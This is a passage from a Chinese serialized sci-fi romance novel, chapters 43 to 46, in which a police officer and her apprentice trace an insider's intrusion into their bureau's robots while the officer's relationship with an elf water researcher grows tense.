“嗯,不管有什么事,你都要第一时间和我说,我在水环境生态修复研究所上班,现在住公序舍。你有固定的住址要告诉我,来的时候钱带的充足吗?我带的足足的,别和我客气。”康屿安用力晃了晃崔雪松的手臂,就怕她不听话。 屏幕前的端戊手指肚的指纹都快被自己抠平了,却看到崔雪松表情有点像偷腥的猫儿,看嘴型猜她说的是个啥? “家里就剩下我和钱了,不缺的就只有钱了。等姐有了固定住处后,给你留个房间,你还住什么宿舍,过来和姐相互有个照应。” 崔雪松没有说出口的话是,在地球上,哦不,是在这世上,康屿安是她最亲的人了。 “哦对了,差点忘了,这些你拿好,这个糯米糕是吃的,这个喷剂是外用的。方便你隐藏精灵身份,现在朝暮星人还挺危险的,能规避的麻烦就别逞强。”康屿安拎了拎崔雪松的耳朵。 端戊看着这亲密的一幕,气的差点原地爆炸了。 正在气头上,隔壁房间,也就是她自己的房间门铃声骤响,还是不停地响。让端戊烦躁的心愈加烦躁了。 “这特么谁啊!”端戊看来一眼悬浮屏,反正不会是康屿安。 不要说她还在和人家叙旧叙的‘难舍难分’,就算回来她也不走门啊!就算是偶尔走门,她也没按过门铃啊!就算是按门铃,她也从没去过端戊房间,没按过隔壁的门铃啊! “谁啊!大半夜的!有事不能白天来吗?”端戊骂骂咧咧地就去开门了。 倒霉孩子辛瑙担心的像是热锅上的蚂蚁,门铃都要按出火花来了。旁边的门却猛地打开了,看到了一脸要吃人的端戊。 “师……师父,你和师娘搬到一起住了?”辛瑙天不怕地不怕着长大的,她没想某一天,还真有能降住她的那一物。 这会儿提起康屿安,只会让端戊想起自己是怎样色令智昏,入了人家的局,辛瑙一个不小心哪壶不开提起了哪壶。 “哪来的师娘?谁是师娘?大半夜是来八卦的嘛!”其实端戊每次骂完辛瑙都会后悔好一阵儿呢,可是这死孩子每次都往枪口上撞。 端戊 的一腔怒火憋了一晚上了!当然可能也有别的火。 “当然不是!有人要杀你,你肯定猜不到那个人是谁?”辛瑙的声音忽地扬高,又忽地压低,不太紧张的气氛愣是让她营造出了些许紧张。 “现在就有要杀我的人了?我以为怎么也要过个五七八年,至少也要等到第一批抓进去的人出狱吧?谁这么勇啊?” 端戊倒没有多担心,或早或晚的事情,她早就有心理准备。 相比之下,第一位‘勇士’更让她好奇。 “说出来吓死你……”辛瑙神秘兮兮的凑近端戊,却猝不及防的被一把扯进房间。 “师父,大晚上的,我进师娘宿舍,这样好吗……卧槽!这是谁?这不太好吧?” 辛瑙半推半就地被拉进卧室,原以为会在床上看到的康屿安,居然在悬浮屏里。 还不是一个人,手里还拉着另一个白色耳朵精灵的胳膊。 辛瑙大气都不敢喘地看了一眼端戊的绿脸,说实话,她师父已经是女生中英姿飒爽的了,可是悬浮屏里的白耳朵精灵,周身散发着一种修罗气质。 假如说,端戊是城市狼犬,那小白耳朵就是荒野孤狼。 辛瑙立刻就明白了师父的杀气是从何而来了:师娘出轨了,还全程直播。 看着小白耳朵周身的肃杀,这如果真打起来了,师父未必是对手啊。 “师父……师娘这是……这是哪啊?我们去啊!在这看着有毛用?”辛瑙义气和赤胆同时冲上脑门,拉着端戊就往出冲。 即便小白耳朵一身杀气,在她眼里也是不足为惧,打完师父应该就不会打她了吧? “别管小紫耳朵,说说谁要杀我?”端戊拉她进来可不是要她出谋划策的,而是怕一眼没看到,康屿安突然遁回来了。 “是把自己剖腹了的那个马托斯基,他复活了,咋能复活呢?再说,又不是你杀的他,他找你寻什么仇呢?” 辛瑙突然有点激动,想起尤里的胳膊,她都不敢想象让端戊遇上他。 “赶紧查查,马托斯基是不是有个双胞胎兄弟,没准还能追踪到幕后的人,他这个兄弟八成智商有些问题,有人告诉他是我杀了马托斯基。” 端戊眼睛盯着康屿安和崔雪松,迅速做出推断。 辛瑙焦急的脸上,挂满了尴尬:并不是说这么简单的问题我想不到,根本就是我被吓的嘛。 再说,我也是因为担心师父呀!关心则乱,我这是乱了。 “哦哦,我这就去查……那师娘这?”辛瑙蠢蠢欲动的心啊,哪能说放下就放下?今天这事,不要说是发生在她师父身上了,就是遇上路人,她也是要帮上一帮的。 出人、出力、外加上赠送摄像。 “不用你,回去吧。”端戊对辛瑙摆摆手。 “不对啊师父,这抱、抱、抱、抱在一起了!”辛瑙上前一步指着悬浮屏,狭长的眼睛瞪着端戊这个怂货,一副恨铁不成钢的样儿。 “不好!赶紧出去!”端戊一把推过去,‘砰’的一声,门在辛瑙身后关上了,单薄的小身板儿差点被端火药直接拍回家。 43.第 43 章 “记住!你没来过!”隔着门,端戊空灵的声音几乎压低到地平线。 辛瑙壁虎一样挂上去把耳朵贴在门上:“师父,出轨的又不是你,你干嘛卑微到尘埃?” 门里一阵细碎慌乱的脚步声后,辛瑙再也听不到任何动静了。 悬浮屏上小紫耳朵和小白耳朵都不见了,只留下摇晃的镜头一下左、一下右,晃得端戊头晕。 端戊闭上了眼睛,她真得缓缓:这玩意儿得有几十年了吧?它也分不清主次啊,出现二选一需要做出选择时,它明显有点懵。 特别是面对的两个选择还一左一右地分道扬镳了。 康屿安应该快要回来了,端戊赶紧先让身残志坚的追踪机器人下班了,收了瞳视的悬浮屏,跑回床上躺下装昏迷。 刚伪装好,突然想到康屿安走之前,自己是睡在左边的,快速两个转身就滚过去了。 眼睛闭上都来不及调整后呼吸,就听见浴室有风吹过的声音,接着就听到康屿安在蹑手蹑脚的换衣服。 淡淡的尘土气息混合着樱花味,一点点靠近端戊。她确定,现在康屿安离她的很近很近,最多一拳的距离。 端戊努力控制着自己的心跳和呼吸:是被发现了吗?哪里露出破绽了吗?辛瑙说的对,我又没做亏心事,为什么要躲躲闪闪的? 哦对,我这是放长线钓大鱼,不暴露自己是等着对方露出破绽啊,看看她到底想干嘛。 看她到底能为了那个崔雪松,欺骗我到什么程度! 端戊内心小剧场同时演绎了狗血、反间谍两场大戏。剧情纵横交错间,康屿安冰冷柔软的唇,贴在了她的唇上。 端戊藏在被子里手骤然握紧:这也太突然了,差点装不下去。 她以为,康屿安会说点什么,哪怕三个字也行啊。可是,她什么也没说,转过身睡觉去了,甚至还离她远远的。 端戊悄悄睁开眼睛,看着那个和被子褶皱差不多的背影,直到天亮,又要上班了。 自从辛瑙上班以来,她第一次不是踩着点来的,而且还格外的早。 今天眼里特别的有活,先是把昨晚那个本来就听不见、后来又差点摔残疾的机器人上报检修了。 然后把她师父要求查的那些个牛马蛇神,林林总总一个不少的汇总、打印,分门别类的摆在端戊的办公桌上。 今天师祖带着技术小团队要来,辛瑙也非提前准备着。把全局上上下下所有的机器人内勤、外勤各科的同事,都斩断了生命线,让他们停职待检了。 看着呆滞着统一表情的同事们,辛瑙突然也想成为他们中的一员。 “啊!啊!啊!救命啊!你们都放假了,活都是我的了!”辛瑙高举双手,仰天长啸。 “嘟嘟嘟……”警铃声响彻整个清异局。 辛瑙被吓屁了,一大早就她一个人,她可没有战斗力啊! 赶紧跑到中控室查看:“怎么就忘了门卫也是机器人了呢!” 屏幕里的人全身橄榄绿,和门卫机器人无效沟通后直接暴力拍门,触发了警报,不用问也知道肯定是程韩的人。 辛瑙把全维眼推近了些,认出来是黑豹一队队长隋唐。 辛瑙见过的,这是个狠角色,无论扔到哪都是员虎将。当然,他也有大多数虎将都有的特点,忒鲁莽。 “劲儿使得挺猛啊,把我们的警报系统都触动了。我再不出来,是不是就把我们清异局的大门拆了啊?” 辛瑙跑得嘴都合不上了,大口吐出来的已经不是混合气体了,而是怨气。 “我们领导派我们过来给他的小师妹送昨天的检出结果,这到了小师妹的地方就没客气了。”隋唐一张嘴就知道是个兵油子,说话时连眉梢都吊儿郎当的。 “这是你们领导师妹上班的地儿,不是领导师妹的家,该有的客气,咱还是得客气下的。”辛瑙立刻不乐意了,我去你们部队拆门你愿意啊? “哈哈哈!”隋唐没想到这个一阵大风都能刮走、看到人体自爆脸都吐绿了的小姑娘,其实并不好惹。于是大笑着掩饰,并且找话题化解尴尬。 “你们看大门的机器人上班挺晚啊,这个点了还不搭理人呢?” “它们放假了,东西交给我吧。这也没到上班点呢,怎么这么早就过来了?”伸手不打笑脸人,人家态度良好,而且到底是程韩的兵,辛瑙也就不计较了。 “别提了,出任务呗!秃鹫星和哥布林星两个杂碎,没一点战败星球的自觉,他奶奶的这刚几天啊,就又出来作妖了!” 一提到那俩龟孙,就算他俩啥都没干,光提起来都恨的牙痒痒,更何况这俩玩意儿是一刻也老实不了。 “又送上门来找揍了?”辛瑙立刻忘了刚刚的小不愉快,义愤填膺的一致对外了。 “都在你手里的档案袋里呢,你们也有的忙了,走了啊小师妹。”隋唐熊掌一挥,领着几个黑豹子就走了。 师妹?大哥你师出何门啊? 就在辛瑙还在琢磨师门的时候,叶白已经开始研究任意门了。 “你还亲自去救他了?”洪橙橙看着毛乎乎的趴在地毯上,差点和地毯融为一体的马利斯基。 在她看来,这样的废物根本不配劳叶白尊驾。可是她忽略了,她的价值远不如这个她眼中的废物。 在叶白这里,没有价值的人,那就活在老虎的獠牙边上了,生死都是要看老虎心情和胃口的。 “他还有用,我也想试试这个折空转移好不好用,你如果能顺利完成任务,还有后来的这些事儿吗?” 叶白一张臭脸拉的挺长,快赶上她身高了。折空回来的马利斯基现在还没醒,看来这东西还不能用到自己人身上。 “叶老大,那个辛瑙猴精猴精的,根本不上钩……”洪橙橙感觉到室内的空气骤冷,每呼吸一下,吸进去的都是冰碴。 “行,这一茬先放放啊,星关的那个谁,你还得让我等多久啊?别告诉我,老头也看不上你?”叶白绕着马利斯基转了一圈,心情更不晴朗了,钱又打水漂了? “叶白,我们……你怎么能……”洪橙橙想问的是,从前他们算什么?她想问问叶白,怎么突然就变了? 她想不通,她做错了什么,叶白怎么能让她去做那些事情?可是她不敢。 叶白跨过马利斯基走到洪橙橙面前,用食指抬起她一脸的不服气和想不通。 “买家的需求量有多大,你又不是不知道。可现在朝暮星人实在太稀缺了。你知道我的,若放着钱不赚,我难受。你找上我时,自己说过的话你还记得吧?如果你实现不了你承诺的价值,就别怪我拿你这张美丽的皮囊去换钱了。” 叶白的像一条眼镜蛇,指尖冰凉,眼睛深不见底,像是随时会吞噬洪橙橙。 端戊办公室的案情分析板上,贴满了叶白这五年来不同时期、不同造型,也包括不同德行的照片,唯一不变的,就是她眼底的深邃。 端戊双手插在口袋里,倚在办公桌上看着照片里的眼睛。其实她心里已经有答案,只是她缺少证据。 法治社会救了叶白啊,要不然她已经在审讯室了。也正因为是法治社会,端戊又怎么可能放过她? “师父,你来了?桌上的你都看到了?喏?这个也是你的,刚你师兄派人送来的,和上次从洗衣店抓回来那几个人的自爆案有关。”辛瑙小心的观察端戊的脸色,唉憔悴的啊,卧蚕都快成眼袋了。 “看到你去门口了,以为去接你师祖了。”端戊接过档案袋:“怎么还派人跑了一趟?” 端戊拆封口的手顿了一下,清异局机器人被入侵的情况,在程韩那也发生了。 辛瑙细脖子上的大脑袋也凑了过来,和端戊挤着一起看。 “我师祖快点来吧,现在所有的活都得我干,所有的腿都得我跑,师父你看我这腿,本来就瘦的没有二两肉……” “上次的犯人自曝,设备焚毁的很是干净,爆炸后直接就在空气中分解了。但是任何犯罪都必会留下犯罪痕迹,CEDF的技术科在死者小肠内壁的微绒毛上,发现了浮尘瞳的纳米颗粒,经过材料比对可以确定是秃鹫星的东西。” 端戊快速浏览、提取出重要内容,眉心促成一个小疙瘩:叶白和秃鹫星有什么关系? “哦对了,今天听隋唐说,秃鹫星和哥布林星又在地球上生事了,没说什么事,就说我们要有的忙了。”辛瑙打心眼里佩服端戊,发生这么大事,一点不耽误工作。 案情分析的头头是道,反应的比谁都快。辛瑙只顾着察师父言、观师父色了,差点忘了正事。 “肯定和朝暮星人有关系,包括金安的案件,现在看来可不仅仅是阻止地球治水计划,那个灰色耳朵还没证实身份吗?” 端戊猜测,朝暮星的受害者绝对不只这两个精灵,只不过是这两个很凑巧的被发现了。 “我马上就去催,师父,你这板上挂了这么多人都是谁啊?”辛瑙转身要出去,看到了一板的照片。 “你仔细看看,观察能力不行啊!”端戊睥睨着辛瑙,又想考考她。 “只有这个叶白是我认识的啊!师父你办案不靠证据靠直觉的啊?”辛瑙只是胡乱猜的,顺便胡说八道。 没想到,端戊的眼神变了,端戊悟了。 44.第 44 章 “赶紧去门口接你师祖,应该快到了。把你师祖直接领到物证科,我在那等你们。”端戊转身就跑出去了,好像答案正坐在那里等着她。 “哦……”虽然辛瑙不知道她师父突然打通了什么脉,她也不敢问,她师父也没给机会问。 让干嘛就干嘛吧!接师祖去,毕竟专业的事还得交给专业的人。 专业人士康屿安也是遇到难题了。 “夏所,现在可以确定不是生化污染。准确来说,水质是被灰剂粘质所污染。”康屿安也算是刚毕业就挑起大梁了,小肩膀虽然没多厚实,扛起的却是相当有分量的梁了。 夏所拿着这份康屿安每天耗在实验室里,大大小小做了无数实验,才给出的数据,其实她也没有标准答案。 之前所里的专家们,倒是给出非核污染、非生化污染的推断,但最终也没有个方向,到底是个什么污染。 说起来,朝暮星也是被祸害了数百年,这期间的水质就没清白过,在这方面是非常见多识广了。 因此朝暮星关于水生态修复在星际是很权威的,而金安教授是朝暮星的权威。 权威中的权威曾经给出的答案是:从前的污染是死的,而这次是活的。 至于这水污染怎么是个活的,金安教授也还没来得及说呢,就没得活了。 “嗯,那灰剂粘质是怎么回事?又该怎么治理呢?”夏所推了一下有点重的黑框眼镜,感觉到这东西解决起来没那么容易。 时间紧,任务急啊,全球各地区的备用水,也就够用两年的了。 “简单来说,灰剂粘质可以吞噬一切生物圈,而被吞噬的生物短时间内就会转化为灰色粘性物质。即便是死了,降解也需要数千年。” 康屿安之所以用了这么长时间,完全是因为过于难以置信了。 作为地球人,夏所显然更难以置信:“这不就是想毁掉地球上所有的生物吗?那岂不是饮用水也要数千年才能降解。” “那倒不会,水是作为载体的,所以只要把灰剂粘质从中分离出去,就还有救。”康屿安也推了推她的无框小圆眼镜,用手指着一组数据让领导看。 夏所略微放宽心了一些,就着白嫩指尖的指引,看她的报告结论。 “那个,这也没看到分离方法啊,解决方案呢?”夏所抬头时眼镜慢慢的下滑,她挑眉从眼镜上方看向康屿安,额头上都是小问号抬头纹。 “哦,这个还没有呢,还要再研究研究。”康屿安歪着头看夏所,大脑有点神游。 为什么女研究员到了这个年纪都是这个样子呢?自己将来会不会也是满头小问号? 夏所的黑框眼镜已经滑到鼻尖了,却毫无察觉。她现在满脑就六个字:这可如何是好? “那个……小康啊,今天端局来接你下班吗?”夏所可是听说了,端戊放着好好的家不回,也搬进了公序舍。 年轻人谈恋爱,可是很影响工作的。每天开开心心的还好,就怕发生矛盾吵架了,小女生最容易没心情工作了。 端戊自己也没想到,八字没一撇呢,双方家长都没意见呢,双方的领导想法倒是挺多。 “你师父是不是谈恋爱了?”王校长亲昵的拍着辛瑙的泰迪卷,每次都有种撸酱油筋的感觉。 “师祖那么远、那么忙都知道了?”辛瑙乖巧的挽着王校长的胳膊,有在家里和爷爷撒娇的感觉。 如果让辛瑙知道王校长撸她的手感和酱油筋差不多,估计要剃了这一脑袋的卷:太伤心了,我拿师祖当爷爷,师祖拿我当只咪。 “上次你们从我这走,别以为我人老眼花看不出来。”王校长撇撇嘴,傲娇的抬起核桃脸。 “师祖哪里老?胡说的嘛!师祖是到了最睿智的年龄,别人都羡慕死了呢!解决不了的事情,还不是要请我师祖来嘛!”辛瑙表情极其夸张,哨一样的尖了嗓子。 “哈哈哈!就你机灵!”王校长可不管夸张不夸张,开心的不得了。 “我师父在物证科等咱们呢,问题最先在那儿发现的……” “走走走!看看去……” 物证科里,罚站似的站了一排的机器人,这如果是最新的那批机器人,恐怕早就一脸委屈了。 一老、一小、一众技术人员进来时,端戊已经把所有的电脑拆得七零八散,估计让她重新装回去都得剩零件。 看上去应该是有想法、没发现,白皙的脸已经有些焦躁的糊了。 看到王校长进来,端戊像只待哺的小燕子就扑了过来。 “师父,你可算来了!不应该的啊,我的推测不应该错的啊?”端戊扯开了辛瑙两只小爪子,自己挽上王校长的胳膊。 “师祖……”辛瑙立刻就不乐意了。 “呵呵,我先看看去,到底是怎么回事,别慌……”王校长笑得眉眼弯弯,酱油筋也是这么争宠的。 王校长坐到办公桌前,指了指眼前被肢解地一片狼藉的电脑,看向端戊:“说说你的分析。” 端戊拉过一张椅子坐在了王校长旁边,辛瑙哪能放弃这么好的学习机会,也拉过一把椅子,坐在了王校长的另一边。 王校长带来的随行技术人员嘴角彻底压不住了,难怪整天被挂在嘴上的端戊,最近变成了辛瑙呢。 原以为是隔代疼,哪知道人家是靠自己本事上位的。 “今早儿辛瑙说起我的灵感,就想起了我近期的一个创造灵感。我和辛瑙经常不在局里,这些内勤机器人干了些什么,有没有出错根本就不知道。于是我想到远程电脑,让它代替我管理、指挥。既然我能想到,那别人也是可以想到的……” 端戊从前在学校时,就喜欢琢磨些机器人,机器猫狗。 虽然最初是因为懒,后来又因为孤独,不管怎么说,都是被逼出新技能了。 “师父,这里还有我的功劳呢!中午加个餐吧。”辛瑙又兴奋了,双手拍着桌面,震得零件乱跳。 “滚一边去。”现在端戊有些烦躁,地主家的傻孙子终是学不会察言观色了。 “结果没找到?”王校长看着一桌狼藉,这是 猜错了? “不应该的啊?所有的机器人,包括我和辛瑙,每天早上就要接受多维晨检,只要在单位就得二十四小时不间断的多模监测。从人到机器人有一点点不对劲就会被发现的,只有局域网是上级直接监控的……” 端戊没说完,虽然她没有直接的怀疑对象,显然已经有了怀疑方向。 王校长一直在点头,他不认为端戊的分析有问题,也肯定是认可自己培养的娃:“其实咱俩想到一起去了的。” “真的啊师祖,你也是灵感一动……”辛瑙有点意外,自己咋就没学会灵感断案? “什么灵感!那都是你们小孩子玩的。我昨天把你们每天、每个时间段的数据检测都捋了一遍,看数据分析出来的!” “师父,你看看,师祖这才是正道,你那个算是邪修……”自信的小孩,从来不会为了偶尔做错的事情或者说错的话感到尴尬,更像是气氛组的。 “把嘴闭上!”如果不是中间隔着王校长,端戊能一脚把辛瑙连人带椅子踹到墙角去。 很多时候,看上去辛瑙是因为不懂事挨骂的,其实很大程度上已经缓解了端戊的焦虑。 “结果没找到是吧?用不着沮丧,没找到并不代表你的方向错了……”王校长看着这对冤家搭档,想起来当初自己差点棒打冤家。 看似不着调、不靠谱的组合,有些时候,又何尝不是最适合的呢? “我分析的是对的?”端戊漆黑的眼睛突然就擦亮了。 “来,你俩过来看哈,虽然每天检测的数据都是稳定的,但是看这。”王校长用手指轻点他标出来的位置。 “这些线波的波动不是很明显,一般都会判定是正常的波动停顿。其实已经有指令发送过了,确认机器人完成指令后,再进行撤回。因为是内部网进行操作,可能有指定人员对漏洞及时修复,所以一直都瞒天过海的没被发现过。” 辛瑙整个人都快趴在桌子上了,讲真,王校长已经说的很透了,可她就是没看出来,画出来的那几处波动异常究竟异常在哪里了。 她瞄了端戊两眼,那双刚擦亮的眼睛又迷茫成雾了,看来她师父也没看出来,那她心里就平衡了。 这不对啊,这不是欺负清异局就她们两个小菜鸟吗? “说到底,还是上级单位有内鬼啊!那我们得上报啊!”辛瑙突然就抓住了重点,猛地从椅子上站起来。 “坐下!你知道内鬼是谁吗?还没等你知道是谁,人家就把痕迹抹得干干净净,还能反咬你一口,说你能力不行,诬告上级。” 端戊也握紧了拳头,不是不气,是气也没用。 “那就拿他没办法了?”辛瑙听话的坐回去,大口喘着气,鼻孔都要喷火了。 王校长看着这俩崽儿,虽然被欺负了,可是还能反应迅速,处理冷静,也并没有被一直蒙在鼓里,更没有冲动的拎着棍子吓跑蛇,他还是很欣慰的。 可是,他的崽儿也不是任由着谁都能欺负的。 “谁告诉你们就没办法的?” 45.第 45 章 家里最辣的姜在这里坐镇了,不说是十拿九稳,那也是妥妥地。 “都别急,慌什么!让他们几个留在这,按照这个思路先检测着……”王校长看着一屋子狼藉、无从下手的样子,打算先上一波技术人员。 “王山人这次又有何妙计啊?”端戊顿时支棱起来了。 “听说水环境研究所的食堂是出了名的好吃,要不咱过去尝尝?我也是多少年没见老夏了。”王校长眯着眼,拍着手,核桃脸的皱纹又紧急集合了。 “王老,我怎么记得您之所以多少年没见夏所,是怕师娘不高兴呢?”端戊一脸深意的看着王校长。 您急转弯时都不打转向的吗?之前说的是食堂吗? 再说了,毕竟吃了这么多年师娘做的饭,可不能做白眼狼。端戊可是记得每次提起夏所时,师娘那张脸难看的像生吃苦瓜似的。 王校长气得白眼三连翻:真是心里一点数都没有啊?这样的铁疙瘩,竟然是我教出来的! “康屿安嘴这么严的吗?从来没听她说过啊,还得是我师祖。”辛瑙的马屁能拍到星际,而且还不露痕迹。 “你留在家里干活,他们不熟悉环境。”端戊翻白眼的火候,青出于蓝而胜于蓝。 “师祖……”辛瑙考拉一样又挂在了王校长的身上。 “师祖最疼你了……”王校长拍着辛瑙的小卷毛。 “哎!”辛瑙一脸得意的看向端戊。 “师祖把最好吃的都给你带回来。”王校长把手从辛瑙的章鱼爪里抽回来。 章鱼爪好对付,可是成了精的八爪鱼,就让人头疼了。 “姑娘,请自重。”星关曹部长怀疑自己捡了是个成精的八爪鱼。只是,八爪鱼似乎还有点眼熟。 “姑娘,咱俩是不是在那里见过?” 洪橙橙心里暗叹一口气:可不是见过,上次我是粉耳朵、橙红卷发灰眼睛。这次我是没耳朵、黑直长发黑眼睛。 上次美得冒泡了,都没见你动恻隐之心,这次这么丑……居然被你捡起来了。 果然这个年纪的喜好,是要反过来猜的。 崔雪松看着洪橙橙被扶上了车,打算回去向叶白复命。 她无论如何也没想到,那会是朝暮星洪家大小姐,怎么就沦落成为色.情棋子了呢?洪家到底发生了什么? “不行,我得去找安安和她八卦一下这个大瓜,她一定不知道洪橙橙现在做的事情,而且,现在这个人也要时刻防备着了。 康屿安还不知道洪橙橙需要防备,她现在一门心思防备的都是端戊。 看着跑腿机器人拖着它的行李箱又来了,康屿安就知道今天这事儿不简单。 端妈不会来打扰她工作,端砚肯定是被嘱咐过了根本不敢来,崔雪松怕连累到她,也不可能光明正大的来找她。 能在这个时间来找她的,就只有端戊了。 “她不是应该在上班吗?来找我是因为发现什么吗?就算发现也应该是昨晚,早就该问自己了啊?”康屿安多少是有些心虚的。 若是没做过亏心事,在实验的紧要关头她都懒得出去应付端戊。可是毕竟心里不是那么有底,不去的话岂不更显得心虚? 康屿安又坐上了颠颠哒哒的小货箱,心里有事的时候触感就迟钝了很多,还是说,夏所让人加了减震? 每一次进夏所的办公室,都是不一样的清新,康屿安注意到今天办公室里绿植和插花的颜色也有不同,每天湿度的不同,都会让它们的颜色和味道产生变化。 今日的办公室是清新绿的色系,并不是灯光效应,而是太阳能光致变色。 靠窗的沙发上,除了端戊还坐着一位满脸无公害气质的老者,看着就相处零压力、温柔有分寸。 老者脸上熟悉的皱纹,让康屿安突然就想起来了,见过。 看着一屋子人的笑意盈盈,看起来聊的不是公事,也更不像是找上门来算账的。 “小康来了?王校长和端局过来尝尝咱们单位的食堂,我刚让食堂准备了准备了小餐厅,中午一起吃。”夏所笑得如少女一般,对着康屿安招手。 不知道是不是错觉,康屿安觉得她领导今天格外的温柔,而平时,只能算是温和。 “夏所,我实验室那边……”既然不是上门兴师问罪的,康屿安可就不想奉陪了。 “给你安排的助理定下来了,我一会儿就让她过去,这些琐碎的杂活交给她就行了。” 夏所只当是康屿安客气一下,按理说,哪有女朋友来了不想搭理人家的,于是安排明明白白的。 只有康屿安自己清楚,她哪是假意推脱啊?她是真的想回去啊! “一起吧,上一次太匆忙话都没说上,今天来吃食堂是次要的,最主要的是能坐在一起吃吃饭,聊聊天。” 王校长及时出来助攻,让康屿安退无可退,同时眼神给到了端戊。 端戊今天好像没什么不同,可是好像又哪里不一样。康屿安突然发现,其实自己并没有那么了解她。 一直垂眸的端戊察觉到头顶的视线,抬起头来看着康屿安:“你们食堂有什么是外面吃不到的吗?帮我们推荐一下。” 声音依旧空空灵灵的,于是,就显得冰冰凉凉的。 “有的,我们所很多的青菜,都是外面吃不到的,还有鱼,是非淡水非深海的共生菌藻水,鱼肉的鲜美度得翻出好几十倍呢,还有牛羊吃的草……” 来上班这么久,除了实验室,康屿安研究最多的可就是食堂了。 “哈哈哈哈,好!小康这是如数家珍啊!不用介绍这么详细,推荐什么咱就吃什么,是吧端戊?”王校长瞪了端戊一眼。 平时不是话挺多的吗?今天怎么像个哑巴。 “嗯对,听推荐。那夏所,我们是先去食堂,还是先参观参观咱们的鱼、牛、羊?”端戊下意识地避开康屿安的视线,也不想和她说话。 昨晚迷惑的甜和后劲的苦,似乎仍然在嘴里。 “还是先去吃饭吧,我怕看了那些活的,你会不忍心吃那些熟的,哈哈哈……”夏所兴致还是很高的。 人真的是个很神奇的生物,年轻时的男月光即使沧桑成一颗核桃,在你眼里也是最有营养的核桃月光。 核桃月光这会儿有点辜负夏所温柔热切的目光,他的心思都在端戊和康屿安身上。 王校长最了解端戊了,两个回合下来,就看出了她的不对劲儿。 “那你可就不了解现在的年轻人了,她们啊,是鸳鸯锅式清醒。听说你们所的景色也是外界没有的,让小康带着端戊四处看看……” 王校长笑得像个弥勒似的拉起端戊,把她推向康屿安。 “就不用看了吧?” “没什么可看的。” 这会儿她俩倒是挺心有灵犀的,都把王校长都默契的沉默了。 “先吃饭去,下午小康请了假要去一趟星格网链中心,我哪放心她自己去啊,正琢磨着安排谁去呢,正好端局来了,就辛苦端局跑一趟吧。” 夏所心思多细腻,看她俩这样心里什么都明白了,劝和这事儿还得是她。 虽然其实心里想的是,你自己的人、自己家的事儿,你不去谁去啊?可从嘴里说出来,那可都是台阶啊。 “我……嗯行”端戊还憋着一口气呢,拒绝的话到嘴边却咽回去了,气归气,也不能拿康屿安的命赌气啊。 研究所的小餐厅简直就是大自然的环境,虽然是室内,可就是给人一种坐在室外野餐的感觉。 王校长吃的挺开心,夏所,也挺开心。 研究所的共生菌藻鱼,做成了酸奶鱼锅,去腥、滑嫩,鲜的像是活着一样。 低应激的羊排,清汤三秒涮,一点腥膻味都没有。 等离子炙牛肉,肥瘦相间,竟然吃出入口即化感。 “这还是牛肉吗?”王校长第一次感觉到,只要食材好,厨艺好像也没有那么重要了呢。 “好吃吧?都是磁场排酸过的,来,尝尝我们所的青菜。”这一瞬间,夏所半辈子的遗憾突然就释怀了呢。 自己也不是那个能够放下所有,洗手给他做羹汤的人啊,有什么可放不下的。 两个小的吃得是各怀心思。 端戊来找她是个意外小插曲,今天请假的主要原因是崔雪松约了她。还没等她开口呢,几个人就把这事儿拍板定下了。 而她也确实想不到更好的借口推脱这件事。 最要命的是,她还联系不上崔雪松,这顿饭吃的多少有点坐立不安。 其实,端戊还真的就想到了崔雪松。只不过她猜测的没那么大胆而已,她只猜到了康屿安这么着急办瞳视,很大程度上和崔雪松是有关系的。 看的出来,康屿安和崔雪松的熟悉远胜于她,甚至信任也是多于她的。 也不是,她对自己有过信任吗? 这个问题,像苍蝇一样在端戊的脑子嗡嗡萦绕,挥之不去,本就不爽的心情,更烦躁了,不想说一句话。 “你在这里等我,我去停车。”到了网链中心,端戊才说第一句话,声音沙哑地少了以往的空灵,干巴巴的。 “哦……” “噗……” 康屿安这一路上,都在对面前手指粗细的小孔好奇,尤其是旁边还贴了一个‘别乱动’的小便贴。 本来没有必须动的念头,可是别乱动三个字就像是一条毒蛇一样,不停的怂恿着她,手指没和大脑商量就自己放进去了。 “啊!”康屿安吓了一大跳。 46.第 46 章 端戊防端砚、防辛瑙,唯独没防康屿安。 为了将来的某一天,费了好大的心思,竟然这么草率的就被开盒了。 而且是在最不需要仪式感的时刻,整了这么唐突的浪漫。 “砰”! 一束五色花弹入康屿安的怀里,虽然不是鲜花,却有鲜花的触感和幽香。 “啊!”康屿安没想到是这么大一个盲盒。 “唉!”端戊认为任何语言在此时都显得苍白无力。 “对不起,我实在是好奇,到底是什么不能乱动?”康屿安指了指‘不能动’的便利贴。 “这么说,反倒是我提醒的你咯?”就目前僵持度,端戊并不想surprise!惊不惊喜、意不意外? “我不是这个意思,这个……”康屿安看着手里的花有点无措。可是,这个五色花真是好看。 “送你吧,下车去那等我。”车位有点远,端戊指着一处多维眼密集而且人来人往的位置,让康屿安等她。 下车后康屿安四处张望:也不知道崔雪松来没来,真希望她能看到我不是一个人来的。 她对崔雪松期望过高了,闪电似的闪出,惊雷似的绕到了康屿安背后,轻拍她右肩膀。 康屿安一脸被针扎的表情,看端戊停车的方向。还好还好,看不到小乌龟的影儿了,又连忙回头。 右边根本没人,这是她和崔雪松从小玩到大的游戏。 康屿安并没有看向左边,而是再次转向右边。猜错了,右边依然没人。 “别闹了!”康屿安整个人都转过来,看到崔雪松得意的站在左边。 “哈哈哈……预判了你的预判的预判!花挺漂亮啊!送我的?什么时候变得这么有心了,谢谢啦!”崔雪松雪松抢过五色花,在鼻尖嗅了嗅。 “不是给你的,快点还给我,我不是……”康屿安有点急了,语速快的标点符号都追不上了。 “什么时候变得这么小气了,这可不像你哦!”一米七二的崔雪松把五彩花举得高高的。 “别闹,你赶紧走……”康屿安不到一米六的小大个儿,踮起脚来也够不到啊。语速更快了,人也更急了。 “怎么一言不合就赶人走呢,我还没说正事儿呢!”崔雪松看着康屿安弹簧兔似的在眼皮子底下蹦哒,笑得露两排小白牙。 两个人都没有注意到,端戊正站在台阶上看着一高一矮的两个人,在那里一较高低。 “你们在干什么?”端戊的声音冷到可以渗出冰碴。 两个人争抢的动作一滞,康屿安像是偷油吃被发现的小老鼠,用手指狠戳了一下崔雪松的腰,又狠瞪了她一眼。 “我们……”康屿安的精灵耳忽地就僵硬了,脑子咋也愚钝了呢? “端警官,我们又见面了。”崔雪松走到端戊站着的那节台阶上,向她伸出手,狼一样注视着端戊。 她又不傻,肯定看得出来俩人的猫腻。可到底是从小一起玩到大的花,现在让人家连盆一起端走了,总觉得吃亏了。 怎么可能让她白白捧走,总要给点颜色看看吧。 “崔雪松,全息工程师?”端戊不动声色的回握崔雪松的手,感受她掌心不同位置的茧。 